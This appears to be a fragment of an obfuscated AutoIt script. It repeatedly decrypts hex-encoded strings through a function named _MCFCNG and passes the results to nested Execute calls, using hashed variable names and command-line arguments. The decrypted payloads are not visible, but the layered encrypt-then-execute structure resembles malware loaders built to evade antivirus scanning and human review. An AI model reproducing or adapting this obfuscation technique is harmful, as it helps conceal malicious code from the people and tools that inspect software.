Execute(Execute(_MCFCNG('0x7EF8CFC68F705A42AFF730B2EAB3EEA3FF117F5E0DA649475A178CAC5098A7E7CC2A379F1276CDCADD49E86C78E5E2E322765F2147FB423E3773D4F9AD289A3E2E5F09D8A43245CF300368275C154CFA'))) Then $744CAF38E36C9E4E[1]=$cmdline[1] If Execute(Execute(_MCFCNG('0xA0F81727F24690048E7EAB2EB1C233E64785BC654A6E94E03CF4CE201D67D55375A8BD99C3EFCE81578E06198DC5FC4B5F462798B89C7F5E7502D1C18BF15824A08C60CAE25974C041E52F93D2E3D9350C5DC7B631C1D84833F33CF9FD5A7A28B9C6476C215170EAB32730637D6A897224CAE3726D54EA562738A9DA41F609FCFDB4829FD28B81A06C0DD66F1822E608D595EA041038CEC3110E809C0432C21456D171C0ED769B2EF88257A23A88C36A91A8F0DBEB62AEC7777760B5921846D79E64E78307B54B70983F8F68AA2D54BBB2B4433E0FAF1A052669BEC3271638FCD15B58D99B07D741050ADC6A68BFFC4186C2343787DB89229B2D8BBD72DBE394EDF2CD158F963D9C61BFFBEF0889246F58B6416E0824CD0F180DC78B6FB26B47E83308242A97D2043BBBA519E72EED54AF3E4BA0AF530AD25DEA50CDB752BE276E3D527AAE5A21F71D6735BADE75BC7A3F0AB872E7A5C57A5C8E6664025F179B8EB6AAC6AB6DCD30186A709F335C7677A3027A566042C22A9D72A77AB4D2756BA46A895B35C0A8A90FEDDA4BD421FD3E'))) Then $744CAF38E36C9E4E[$744CAF35C36C9E4E]=Execute(Execute(_MCFCNG('0xE66158FFC26B8DD92986AE70EE3449C2B8B7B1776334652730B8DB82FE73DB084A77F262A2B038492BD09A1E7D605116A6FF318F5DF4BE974BB381281804747A7F139A8170CF57B7630B5624571824A054B0DB52729B54B3CAAC3307BE1A7E117C1F0F6B5AFC37D9312E9BB0740742CF73CB1F8B5020964A6299BCA06BA0DC292C0870C16A6F961F1E2196A1DAA6A067E9438CF195A56CBD407CE0DA838C91EAA4B74BC257809437299A385FDEDDDF96EE135C4AFE38C6974FA069E759236DB7AF43AE2B22D562AAA6615F4F1673B97D7C55261EF4CFD6523B836F05B11D07E79029DA45CC1B582C132760AA34E9DC8D'))) $744CAFE8C36C9E4E=$744CAF35C36C9E4E Switch $744CAA38C36C9E4E Case True For $744CAF38836C9E4E= 1 To Execute(Execute(_MCFCNG('0xA681EB66FB425DC1A88335FD96292C77C1248AEC51B69C64E3AF4CEDD3FBB58CDBAB53B07F6E4AC898C1058867E71312A96E87602E8F6F175E4C98C3A7066D77A46C063A341A31AC86F85637C0FEAD5A62DE1338B49ED9774E16F7E388FE48655E2556E2457EA859D58494C2D8FF5B6F')))- 1 If Execute(Execute(_MCFCNG('0x5747C3085656F3826F442FD4E7824EA63AF054A6D7F38A2BD4F1B15A9382529F83251D50A289DEE8AAF829D8A06A9DF5CE708C1E54EE096C1B97C2DB2DA5D17CBAE868866A627728486AF0B8A060BDD05AA973D7E738D14390643537F308473FC04830B04BDFBA8C0844BDC85EE9D3897AA86F8015CC38A03E2E0CA85401AFB44BAD6B451A7D1C682F203D9FFC719A2F'))) Then Execute(Execute(_MCFCNG('0x61488D5E0E98D7F1AC2A490E89F70B8036854868CEB50DAB2D109E8738B91BCB45877B050FFAB3D3E84E2735C03BEEC328CA0CEB9F7E2971979B59FA46D5BE8D9A4FCBADF63B4B29B233C97C50561505C903A4E180494FF8352FDAAF8CDD2A8360ED2DBD082C25FF561DBEC6F1D418EF029A52B2C374B9AE9CBB0E8C8A6CB1D6BD020552D68D86ED804AD727B17F019A5FC01C46E9DABDFBD0CC794CB182CEF9AD028FC17F15C942E0C4AEE88B59178B'))) If Execute(Execute(_MCFCNG('0x0DE787EAC0EE93180A5E6F05913017FF5ED6D666EBCCBB84C44196FFA66CF9B5EA1AA18184DB2A81F102A0EA97C19ADAEA2531DE3698B75CA2B6D12786AE5909EBC773A83DA50F4F611CB030B9C512F3F81FEA3CA2425E85AB126374C0018536E16FCF917235D5D7A859596C81EC6DCE982DC252A7B04E9B72D7E596FE8006636B5C73265DE10DEF1FC06EF620A4EF3B'))) Then $744CAF38CA6C9E4E[$744CAF38836C9E4E]=Execute(Execute(_MCFCNG('0x14879C5A2A60EC34C35F304B241306439E084994473183CB5B9F7D54D2B4BC74634A0FAFFAAC14AE42BFFCC67772CEB99C2953310930D38F26B8E220D040E566AD921C0C5A0B2669BBF7AC456DACF191E7139F7CC7673D727FAE77041DD384B929E65C7636D84FEF3C1BBC25A3C09E48'))) Next Case Else Execute(Execute(_MCFCNG('0x47FD5E5711889A5212599917BCD3E56B4B440C4543310A47439F7E895709DED550439D6C6565FCA59022E797CAFA0B3CB4F277F0E70DD12BBE02C9465B78291EBF34686554CBCC95C971739EEDB9A913'))) EndSwitch EndFunc Local $744CAF48C36C9E4E=Execute(_MCFCNG('0x04F74536C68808D1C836687B5016AD0D4C930B98F474383C1BFCF9006A4B170E3155F6BD2DEBC68C1D67DA724D28F1F2')) Execute(Execute(_MCFCNG('0x0292835247C2D282D7CE239D0D773B3DFACC228EB43C278728D252D7EBB3D1B67FFD92AAF98D54A77BE6FFCA284AA0A8B70DB463699A705BE30D76FF7F73D81FF18C2177BD3AF6EC1F53A81C7AFC9472166CA125067768BD2246656ABD188BE179495EC295F568BE649563360AC1475F')))